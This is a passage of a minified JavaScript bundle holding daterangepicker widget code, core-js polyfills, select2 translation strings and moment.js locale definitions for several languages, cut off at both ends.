selected="selected"'+m+">PM</option>":e+='<option value="AM" selected="selected"'+p+'>AM</option><option value="PM"'+m+">PM</option>",e+="</select>"}this.container.find(".drp-calendar."+t+" .calendar-time").html(e)}},updateFormInputs:function(){this.singleDatePicker||this.endDate&&(this.startDate.isBefore(this.endDate)||this.startDate.isSame(this.endDate))?this.container.find("button.applyBtn").prop("disabled",!1):this.container.find("button.applyBtn").prop("disabled",!0)},move:function(){var t,n={top:0,left:0},i=this.drops,r=e(window).width();switch(this.parentEl.is("body")||(n={top:this.parentEl.offset().top-this.parentEl.scrollTop(),left:this.parentEl.offset().left-this.parentEl.scrollLeft()},r=this.parentEl[0].clientWidth+this.parentEl.offset().left),i){case"auto":(t=this.element.offset().top+this.element.outerHeight()-n.top)+this.container.outerHeight()>=this.parentEl[0].scrollHeight&&(t=this.element.offset().top-this.container.outerHeight()-n.top,i="up");break;case"up":t=this.element.offset().top-this.container.outerHeight()-n.top;break;default:t=this.element.offset().top+this.element.outerHeight()-n.top}this.container.css({top:0,left:0,right:"auto"});var o=this.container.outerWidth();if(this.container.toggleClass("drop-up","up"==i),"left"==this.opens){var a=r-this.element.offset().left-this.element.outerWidth();o+a>e(window).width()?this.container.css({top:t,right:"auto",left:9}):this.container.css({top:t,right:a,left:"auto"})}else if("center"==this.opens)(s=this.element.offset().left-n.left+this.element.outerWidth()/2-o/2)<0?this.container.css({top:t,right:"auto",left:9}):s+o>e(window).width()?this.container.css({top:t,left:"auto",right:0}):this.container.css({top:t,left:s,right:"auto"});else{var s;(s=this.element.offset().left-n.left)+o>e(window).width()?this.container.css({top:t,left:"auto",right:0}):this.container.css({top:t,left:s,right:"auto"})}},show:function(t){this.isShowing||(this._outsideClickProxy=e.proxy((function(t){this.outsideClick(t)}),this),e(document).on("mousedown.daterangepicker",this._outsideClickProxy).on("touchend.daterangepicker",this._outsideClickProxy).on("click.daterangepicker","[data-toggle=dropdown]",this._outsideClickProxy).on("focusin.daterangepicker",this._outsideClickProxy),e(window).on("resize.daterangepicker",e.proxy((function(t){this.move(t)}),this)),this.oldStartDate=this.startDate.clone(),this.oldEndDate=this.endDate.clone(),this.previousRightTime=this.endDate.clone(),this.updateView(),this.container.show(),this.move(),this.element.trigger("show.daterangepicker",this),this.isShowing=!0)},hide:function(t){this.isShowing&&(this.endDate||(this.startDate=this.oldStartDate.clone(),this.endDate=this.oldEndDate.clone()),this.startDate.isSame(this.oldStartDate)&&this.endDate.isSame(this.oldEndDate)||this.callback(this.startDate.clone(),this.endDate.clone(),this.chosenLabel),this.updateElement(),e(document).off(".daterangepicker"),e(window).off(".daterangepicker"),this.container.hide(),this.element.trigger("hide.daterangepicker",this),this.isShowing=!1)},toggle:function(t){this.isShowing?this.hide():this.show()},outsideClick:function(t){var n=e(t.target);"focusin"==t.type||n.closest(this.element).length||n.closest(this.container).length||n.closest(".calendar-table").length||(this.hide(),this.element.trigger("outsideClick.daterangepicker",this))},showCalendars:function(){this.container.addClass("show-calendar"),this.move(),this.element.trigger("showCalendar.daterangepicker",this)},hideCalendars:function(){this.container.removeClass("show-calendar"),this.element.trigger("hideCalendar.daterangepicker",this)},clickRange:function(t){var e=t.target.getAttribute("data-range-key");if(this.chosenLabel=e,e==this.locale.customRangeLabel)this.showCalendars();else{var n=this.ranges[e];this.startDate=n[0],this.endDate=n[1],this.timePicker||(this.startDate.startOf("day"),this.endDate.endOf("day")),this.alwaysShowCalendars||this.hideCalendars(),this.clickApply()}},clickPrev:function(t){e(t.target).parents(".drp-calendar").hasClass("left")?(this.leftCalendar.month.subtract(1,"month"),this.linkedCalendars&&this.rightCalendar.month.subtract(1,"month")):this.rightCalendar.month.subtract(1,"month"),this.updateCalendars()},clickNext:function(t){e(t.target).parents(".drp-calendar").hasClass("left")?this.leftCalendar.month.add(1,"month"):(this.rightCalendar.month.add(1,"month"),this.linkedCalendars&&this.leftCalendar.month.add(1,"month")),this.updateCalendars()},hoverDate:function(t){if(e(t.target).hasClass("available")){var n=e(t.target).attr("data-title"),i=n.substr(1,1),r=n.substr(3,1),o=e(t.target).parents(".drp-calendar").hasClass("left")?this.leftCalendar.calendar[i][r]:this.rightCalendar.calendar[i][r],a=this.leftCalendar,s=this.rightCalendar,l=this.startDate;this.endDate||this.container.find(".drp-calendar tbody td").each((function(t,n){if(!e(n).hasClass("week")){var i=e(n).attr("data-title"),r=i.substr(1,1),c=i.substr(3,1),u=e(n).parents(".drp-calendar").hasClass("left")?a.calendar[r][c]:s.calendar[r][c];u.isAfter(l)&&u.isBefore(o)||u.isSame(o,"day")?e(n).addClass("in-range"):e(n).removeClass("in-range")}}))}},clickDate:function(t){if(e(t.target).hasClass("available")){var n=e(t.target).attr("data-title"),i=n.substr(1,1),r=n.substr(3,1),o=e(t.target).parents(".drp-calendar").hasClass("left")?this.leftCalendar.calendar[i][r]:this.rightCalendar.calendar[i][r];if(this.endDate||o.isBefore(this.startDate,"day")){if(this.timePicker){var a=parseInt(this.container.find(".left .hourselect").val(),10);this.timePicker24Hour||("PM"===(c=this.container.find(".left .ampmselect").val())&&a<12&&(a+=12),"AM"===c&&12===a&&(a=0));var s=parseInt(this.container.find(".left .minuteselect").val(),10);isNaN(s)&&(s=parseInt(this.container.find(".left .minuteselect option:last").val(),10));var l=this.timePickerSeconds?parseInt(this.container.find(".left .secondselect").val(),10):0;o=o.clone().hour(a).minute(s).second(l)}this.endDate=null,this.setStartDate(o.clone())}else if(!this.endDate&&o.isBefore(this.startDate))this.setEndDate(this.startDate.clone());else{var c;if(this.timePicker)a=parseInt(this.container.find(".right .hourselect").val(),10),this.timePicker24Hour||("PM"===(c=this.container.find(".right .ampmselect").val())&&a<12&&(a+=12),"AM"===c&&12===a&&(a=0)),s=parseInt(this.container.find(".right .minuteselect").val(),10),isNaN(s)&&(s=parseInt(this.container.find(".right .minuteselect option:last").val(),10)),l=this.timePickerSeconds?parseInt(this.container.find(".right .secondselect").val(),10):0,o=o.clone().hour(a).minute(s).second(l);this.setEndDate(o.clone()),this.autoApply&&(this.calculateChosenLabel(),this.clickApply())}this.singleDatePicker&&(this.setEndDate(this.startDate),!this.timePicker&&this.autoApply&&this.clickApply()),this.updateView(),t.stopPropagation()}},calculateChosenLabel:function(){var t=!0,e=0;for(var n in this.ranges){if(this.timePicker){var i=this.timePickerSeconds?"YYYY-MM-DD HH:mm:ss":"YYYY-MM-DD HH:mm";if(this.startDate.format(i)==this.ranges[n][0].format(i)&&this.endDate.format(i)==this.ranges[n][1].format(i)){t=!1,this.chosenLabel=this.container.find(".ranges li:eq("+e+")").addClass("active").attr("data-range-key");break}}else if(this.startDate.format("YYYY-MM-DD")==this.ranges[n][0].format("YYYY-MM-DD")&&this.endDate.format("YYYY-MM-DD")==this.ranges[n][1].format("YYYY-MM-DD")){t=!1,this.chosenLabel=this.container.find(".ranges li:eq("+e+")").addClass("active").attr("data-range-key");break}e++}t&&(this.showCustomRangeLabel?this.chosenLabel=this.container.find(".ranges li:last").addClass("active").attr("data-range-key"):this.chosenLabel=null,this.showCalendars())},clickApply:function(t){this.hide(),this.element.trigger("apply.daterangepicker",this)},clickCancel:function(t){this.startDate=this.oldStartDate,this.endDate=this.oldEndDate,this.hide(),this.element.trigger("cancel.daterangepicker",this)},monthOrYearChanged:function(t){var n=e(t.target).closest(".drp-calendar").hasClass("left"),i=n?"left":"right",r=this.container.find(".drp-calendar."+i),o=parseInt(r.find(".monthselect").val(),10),a=r.find(".yearselect").val();n||(a<this.startDate.year()||a==this.startDate.year()&&o<this.startDate.month())&&(o=this.startDate.month(),a=this.startDate.year()),this.minDate&&(a<this.minDate.year()||a==this.minDate.year()&&o<this.minDate.month())&&(o=this.minDate.month(),a=this.minDate.year()),this.maxDate&&(a>this.maxDate.year()||a==this.maxDate.year()&&o>this.maxDate.month())&&(o=this.maxDate.month(),a=this.maxDate.year()),n?(this.leftCalendar.month.month(o).year(a),this.linkedCalendars&&(this.rightCalendar.month=this.leftCalendar.month.clone().add(1,"month"))):(this.rightCalendar.month.month(o).year(a),this.linkedCalendars&&(this.leftCalendar.month=this.rightCalendar.month.clone().subtract(1,"month"))),this.updateCalendars()},timeChanged:function(t){var n=e(t.target).closest(".drp-calendar"),i=n.hasClass("left"),r=parseInt(n.find(".hourselect").val(),10),o=parseInt(n.find(".minuteselect").val(),10);isNaN(o)&&(o=parseInt(n.find(".minuteselect option:last").val(),10));var a=this.timePickerSeconds?parseInt(n.find(".secondselect").val(),10):0;if(!this.timePicker24Hour){var s=n.find(".ampmselect").val();"PM"===s&&r<12&&(r+=12),"AM"===s&&12===r&&(r=0)}if(i){var l=this.startDate.clone();l.hour(r),l.minute(o),l.second(a),this.setStartDate(l),this.singleDatePicker?this.endDate=this.startDate.clone():this.endDate&&this.endDate.format("YYYY-MM-DD")==l.format("YYYY-MM-DD")&&this.endDate.isBefore(l)&&this.setEndDate(l.clone())}else if(this.endDate){var c=this.endDate.clone();c.hour(r),c.minute(o),c.second(a),this.setEndDate(c)}this.updateCalendars(),this.updateFormInputs(),this.renderTimePicker("left"),this.renderTimePicker("right")},elementChanged:function(){if(this.element.is("input")&&this.element.val().length){var e=this.element.val().split(this.locale.separator),n=null,i=null;2===e.length&&(n=t(e[0],this.locale.format),i=t(e[1],this.locale.format)),(this.singleDatePicker||null===n||null===i)&&(i=n=t(this.element.val(),this.locale.format)),n.isValid()&&i.isValid()&&(this.setStartDate(n),this.setEndDate(i),this.updateView())}},keydown:function(t){9!==t.keyCode&&13!==t.keyCode||this.hide(),27===t.keyCode&&(t.preventDefault(),t.stopPropagation(),this.hide())},updateElement:function(){if(this.element.is("input")&&this.autoUpdateInput){var t=this.startDate.format(this.locale.format);this.singleDatePicker||(t+=this.locale.separator+this.endDate.format(this.locale.format)),t!==this.element.val()&&this.element.val(t).trigger("change")}},remove:function(){this.container.remove(),this.element.off(".daterangepicker"),this.element.removeData()}},e.fn.daterangepicker=function(t,i){var r=e.extend(!0,{},e.fn.daterangepicker.defaultOptions,t);return this.each((function(){var t=e(this);t.data("daterangepicker")&&t.data("daterangepicker").remove(),t.data("daterangepicker",new n(t,r,i))})),this},n}(t,e)}.apply(e,i))||(t.exports=r)},eoL8:function(t,e,n){var i=n("I+eb"),r=n("g6v/");i({target:"Object",stat:!0,forced:!r,sham:!r},{defineProperty:n("m/L8").f})},ewvW:function(t,e,n){var i=n("HYAF");t.exports=function(t){return Object(i(t))}},f5p1:function(t,e,n){var i=n("2oRo"),r=n("iSVu"),o=i.WeakMap;t.exports="function"==typeof o&&/native code/.test(r(o))},fHMY:function(t,e,n){var i,r=n("glrk"),o=n("N+g0"),a=n("eDl+"),s=n("0BK2"),l=n("G+Rx"),c=n("zBJ4"),u=n("93I0"),d=u("IE_PROTO"),f=function(){},h=function(t){return"<script>"+t+"<\/script>"},p=function(){try{i=document.domain&&new ActiveXObject("htmlfile")}catch(t){}var t,e;p=i?function(t){t.write(h("")),t.close();var e=t.parentWindow.Object;return t=null,e}(i):((e=c("iframe")).style.display="none",l.appendChild(e),e.src=String("javascript:"),(t=e.contentWindow.document).open(),t.write(h("document.F=Object")),t.close(),t.F);for(var n=a.length;n--;)delete p.prototype[a[n]];return p()};s[d]=!0,t.exports=Object.create||function(t,e){var n;return null!==t?(f.prototype=r(t),n=new f,f.prototype=null,n[d]=t):n=p(),void 0===e?n:o(n,e)}},fbCW:function(t,e,n){"use strict";var i=n("I+eb"),r=n("tycR").find,o=n("RNIs"),a=!0;"find"in[]&&Array(1).find((function(){a=!1})),i({target:"Array",proto:!0,forced:a},{find:function(t){return r(this,t,arguments.length>1?arguments[1]:void 0)}}),o("find")},fdAy:function(t,e,n){"use strict";var i=n("I+eb"),r=n("ntOU"),o=n("4WOD"),a=n("0rvr"),s=n("1E5z"),l=n("kRJp"),c=n("busE"),u=n("tiKp"),d=n("xDBR"),f=n("P4y1"),h=n("rpNk"),p=h.IteratorPrototype,m=h.BUGGY_SAFARI_ITERATORS,g=u("iterator"),y=function(){return this};t.exports=function(t,e,n,u,h,v,b){r(n,e,u);var w,_,k,x=function(t){if(t===h&&C)return C;if(!m&&t in M)return M[t];switch(t){case"keys":case"values":case"entries":return function(){return new n(this,t)}}return function(){return new n(this)}},S=e+" Iterator",D=!1,M=t.prototype,T=M[g]||M["@@iterator"]||h&&M[h],C=!m&&T||x(h),L="Array"==e&&M.entries||T;if(L&&(w=o(L.call(new t)),p!==Object.prototype&&w.next&&(d||o(w)===p||(a?a(w,p):"function"!=typeof w[g]&&l(w,g,y)),s(w,S,!0,!0),d&&(f[S]=y))),"values"==h&&T&&"values"!==T.name&&(D=!0,C=function(){return T.call(this)}),d&&!b||M[g]===C||l(M,g,C),f[e]=C,h)if(_={values:x("values"),keys:v?C:x("keys"),entries:x("entries")},b)for(k in _)(m||D||!(k in M))&&c(M,k,_[k]);else i({target:e,proto:!0,forced:m||D},_);return _}},fv4y:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/pt-BR",[],(function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(t){var e=t.input.length-t.maximum,n="Apague "+e+" caracter";return 1!=e&&(n+="es"),n},inputTooShort:function(t){return"Digite "+(t.minimum-t.input.length)+" ou mais caracteres"},loadingMore:function(){return"Carregando mais resultados…"},maximumSelected:function(t){var e="Você só pode selecionar "+t.maximum+" ite";return 1==t.maximum?e+="m":e+="ns",e},noResults:function(){return"Nenhum resultado encontrado"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Remover todos os itens"}}})),e.define,e.require}()}).call(this,n("EVdn"))},"g6v/":function(t,e,n){var i=n("0Dky");t.exports=!i((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]}))},gekB:function(t,e,n){!function(t){"use strict";var e="nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "),n=["nolla","yhden","kahden","kolmen","neljän","viiden","kuuden",e[7],e[8],e[9]];function i(t,i,r,o){var a="";switch(r){case"s":return o?"muutaman sekunnin":"muutama sekunti";case"ss":a=o?"sekunnin":"sekuntia";break;case"m":return o?"minuutin":"minuutti";case"mm":a=o?"minuutin":"minuuttia";break;case"h":return o?"tunnin":"tunti";case"hh":a=o?"tunnin":"tuntia";break;case"d":return o?"päivän":"päivä";case"dd":a=o?"päivän":"päivää";break;case"M":return o?"kuukauden":"kuukausi";case"MM":a=o?"kuukauden":"kuukautta";break;case"y":return o?"vuoden":"vuosi";case"yy":a=o?"vuoden":"vuotta"}return a=function(t,i){return t<10?i?n[t]:e[t]:t}(t,o)+" "+a}t.defineLocale("fi",{months:"tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"),monthsShort:"tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"),weekdays:"sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"),weekdaysShort:"su_ma_ti_ke_to_pe_la".split("_"),weekdaysMin:"su_ma_ti_ke_to_pe_la".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"Do MMMM[ta] YYYY",LLL:"Do MMMM[ta] YYYY, [klo] HH.mm",LLLL:"dddd, Do MMMM[ta] YYYY, [klo] HH.mm",l:"D.M.YYYY",ll:"Do MMM YYYY",lll:"Do MMM YYYY, [klo] HH.mm",llll:"ddd, Do MMM YYYY, [klo] HH.mm"},calendar:{sameDay:"[tänään] [klo] LT",nextDay:"[huomenna] [klo] LT",nextWeek:"dddd [klo] LT",lastDay:"[eilen] [klo] LT",lastWeek:"[viime] dddd[na] [klo] LT",sameElse:"L"},relativeTime:{future:"%s päästä",past:"%s sitten",s:i,ss:i,m:i,mm:i,h:i,hh:i,d:i,dd:i,M:i,MM:i,y:i,yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},glrk:function(t,e,n){var i=n("hh1v");t.exports=function(t){if(!i(t))throw TypeError(String(t)+" is not an object");return t}},hBjN:function(t,e,n){"use strict";var i=n("wE6v"),r=n("m/L8"),o=n("XGwC");t.exports=function(t,e,n){var a=i(e);a in t?r.f(t,a,o(0,n)):t[a]=n}},hh1v:function(t,e){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},iSVu:function(t,e,n){var i=n("xs3f"),r=Function.toString;"function"!=typeof i.inspectSource&&(i.inspectSource=function(t){return r.call(t)}),t.exports=i.inspectSource},iYuL:function(t,e,n){!function(t){"use strict";var e="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),i=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],r=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;t.defineLocale("es",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(t,i){return t?/-MMM-/.test(i)?n[t.month()]:e[t.month()]:e},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:i,longMonthsParse:i,shortMonthsParse:i,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4},invalidDate:"Fecha inválida"})}(n("wd/R"))},iqWW:function(t,e,n){"use strict";var i=n("ZUd8").charAt;t.exports=function(t,e,n){return e+(n?i(t,e).length:1)}},jVdC:function(t,e,n){!function(t){"use strict";var e="styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień".split("_"),n="stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia".split("_"),i=[/^sty/i,/^lut/i,/^mar/i,/^kwi/i,/^maj/i,/^cze/i,/^lip/i,/^sie/i,/^wrz/i,/^paź/i,/^lis/i,/^gru/i];function r(t){return t%10<5&&t%10>1&&~~(t/10)%10!=1}function o(t,e,n){var i=t+" ";switch(n){case"ss":return i+(r(t)?"sekundy":"sekund");case"m":return e?"minuta":"minutę";case"mm":return i+(r(t)?"minuty":"minut");case"h":return e?"godzina":"godzinę";case"hh":return i+(r(t)?"godziny":"godzin");case"ww":return i+(r(t)?"tygodnie":"tygodni");case"MM":return i+(r(t)?"miesiące":"miesięcy");case"yy":return i+(r(t)?"lata":"lat")}}t.defineLocale("pl",{months:function(t,i){return t?/D MMMM/.test(i)?n[t.month()]:e[t.month()]:e},monthsShort:"sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru".split("_"),monthsParse:i,longMonthsParse:i,shortMonthsParse:i,weekdays:"niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota".split("_"),weekdaysShort:"ndz_pon_wt_śr_czw_pt_sob".split("_"),weekdaysMin:"Nd_Pn_Wt_Śr_Cz_Pt_So".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Dziś o] LT",nextDay:"[Jutro o] LT",nextWeek:function(){switch(this.day()){case 0:return"[W niedzielę o] LT";case 2:return"[We wtorek o] LT";case 3:return"[W środę o] LT";case 6:return"[W sobotę o] LT";default:return"[W] dddd [o] LT"}},lastDay:"[Wczoraj o] LT",lastWeek:function(){switch(this.day()){case 0:return"[W zeszłą niedzielę o] LT";case 3:return"[W zeszłą środę o] LT";case 6:return"[W zeszłą sobotę o] LT";default:return"[W zeszły] dddd [o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"%s temu",s:"kilka sekund",ss:o,m:o,mm:o,h:o,hh:o,d:"1 dzień",dd:"%d dni",w:"tydzień",ww:o,M:"miesiąc",MM:o,y:"rok",yy:o},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},jhq1:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/eu",[],(function(){return{inputTooLong:function(t){var e=t.input.length-t.maximum,n="Idatzi ";return(n+=1==e?"karaktere bat":e+" karaktere")+" gutxiago"},inputTooShort:function(t){var e=t.minimum-t.input.length,n="Idatzi ";return(n+=1==e?"karaktere bat":e+" karaktere")+" gehiago"},loadingMore:function(){return"Emaitza gehiago kargatzen…"},maximumSelected:function(t){return 1===t.maximum?"Elementu bakarra hauta dezakezu":t.maximum+" elementu hauta ditzakezu soilik"},noResults:function(){return"Ez da bat datorrenik aurkitu"},searching:function(){return"Bilatzen…"},removeAllItems:function(){return"Kendu elementu guztiak"}}})),e.define,e.require}()}).call(this,n("EVdn"))},jnO4:function(t,e,n){!function(t){"use strict";var e={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},i=function(t){return 0===t?0:1===t?1:2===t?2:t%100>=3&&t%100<=10?3:t%100>=11?4:5},r={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},o=function(t){return function(e,n,o,a){var s=i(e),l=r[t][i(e)];return 2===s&&(l=l[n?0:1]),l.replace(/%d/i,e)}},a=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];t.defineLocale("ar",{months:a,monthsShort:a,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(t){return"م"===t},meridiem:function(t,e,n){return t<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:o("s"),ss:o("s"),m:o("m"),mm:o("m"),h:o("h"),hh:o("h"),d:o("d"),dd:o("d"),M:o("M"),MM:o("M"),y:o("y"),yy:o("y")},preparse:function(t){return t.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(t){return n[t]})).replace(/،/g,",")},postformat:function(t){return t.replace(/\d/g,(function(t){return e[t]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n("wd/R"))},kOOl:function(t,e){var n=0,i=Math.random();t.exports=function(t){return"Symbol("+String(void 0===t?"":t)+")_"+(++n+i).toString(36)}},kRJp:function(t,e,n){var i=n("g6v/"),r=n("m/L8"),o=n("XGwC");t.exports=i?function(t,e,n){return r.f(t,e,o(1,n))}:function(t,e,n){return t[e]=n,t}},kmMV:function(t,e,n){"use strict";var i,r,o=n("rW0t"),a=n("n3/R"),s=n("VpIT"),l=RegExp.prototype.exec,c=s("native-string-replace",String.prototype.replace),u=l,d=(i=/a/,r=/b*/g,l.call(i,"a"),l.call(r,"a"),0!==i.lastIndex||0!==r.lastIndex),f=a.UNSUPPORTED_Y||a.BROKEN_CARET,h=void 0!==/()??/.exec("")[1];(d||h||f)&&(u=function(t){var e,n,i,r,a=this,s=f&&a.sticky,u=o.call(a),p=a.source,m=0,g=t;return s&&(-1===(u=u.replace("y","")).indexOf("g")&&(u+="g"),g=String(t).slice(a.lastIndex),a.lastIndex>0&&(!a.multiline||a.multiline&&"\n"!==t[a.lastIndex-1])&&(p="(?: "+p+")",g=" "+g,m++),n=new RegExp("^(?:"+p+")",u)),h&&(n=new RegExp("^"+p+"$(?!\\s)",u)),d&&(e=a.lastIndex),i=l.call(s?n:a,g),s?i?(i.input=i.input.slice(m),i[0]=i[0].slice(m),i.index=a.lastIndex,a.lastIndex+=i[0].length):a.lastIndex=0:d&&i&&(a.lastIndex=a.global?i.index+i[0].length:e),h&&i&&i.length>1&&c.call(i[0],n,(function(){for(r=1;r<arguments.length-2;r++)void 0===arguments[r]&&(i[r]=void 0)})),i}),t.exports=u},kyKd:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/ar",[],(function(){return{errorLoading:function(){return"لا يمكن تحميل النتائج"},inputTooLong:function(t){return"الرجاء حذف "+(t.input.length-t.maximum)+" عناصر"},inputTooShort:function(t){return"الرجاء إضافة "+(t.minimum-t.input.length)+" عناصر"},loadingMore:function(){return"جاري تحميل نتائج إضافية..."},maximumSelected:function(t){return"تستطيع إختيار "+t.maximum+" بنود فقط"},noResults:function(){return"لم يتم العثور على أي نتائج"},searching:function(){return"جاري البحث…"},removeAllItems:function(){return"قم بإزالة كل العناصر"}}})),e.define,e.require}()}).call(this,n("EVdn"))},lMq5:function(t,e,n){var i=n("0Dky"),r=/#|\.prototype\./,o=function(t,e){var n=s[a(t)];return n==c||n!=l&&("function"==typeof e?i(e):!!e)},a=o.normalize=function(t){return String(t).replace(r,".").toLowerCase()},s=o.data={},l=o.NATIVE="N",c=o.POLYFILL="P";t.exports=o},lXzo:function(t,e,n){!function(t){"use strict";function e(t,e,n){var i,r;return"m"===n?e?"минута":"минуту":t+" "+(i=+t,r={ss:e?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:e?"минута_минуты_минут":"минуту_минуты_минут",hh:"час_часа_часов",dd:"день_дня_дней",ww:"неделя_недели_недель",MM:"месяц_месяца_месяцев",yy:"год_года_лет"}[n].split("_"),i%10==1&&i%100!=11?r[0]:i%10>=2&&i%10<=4&&(i%100<10||i%100>=20)?r[1]:r[2])}var n=[/^янв/i,/^фев/i,/^мар/i,/^апр/i,/^ма[йя]/i,/^июн/i,/^июл/i,/^авг/i,/^сен/i,/^окт/i,/^ноя/i,/^дек/i];t.defineLocale("ru",{months:{format:"января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"),standalone:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_")},monthsShort:{format:"янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"),standalone:"янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_")},weekdays:{standalone:"воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"),format:"воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"),isFormat:/\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?] 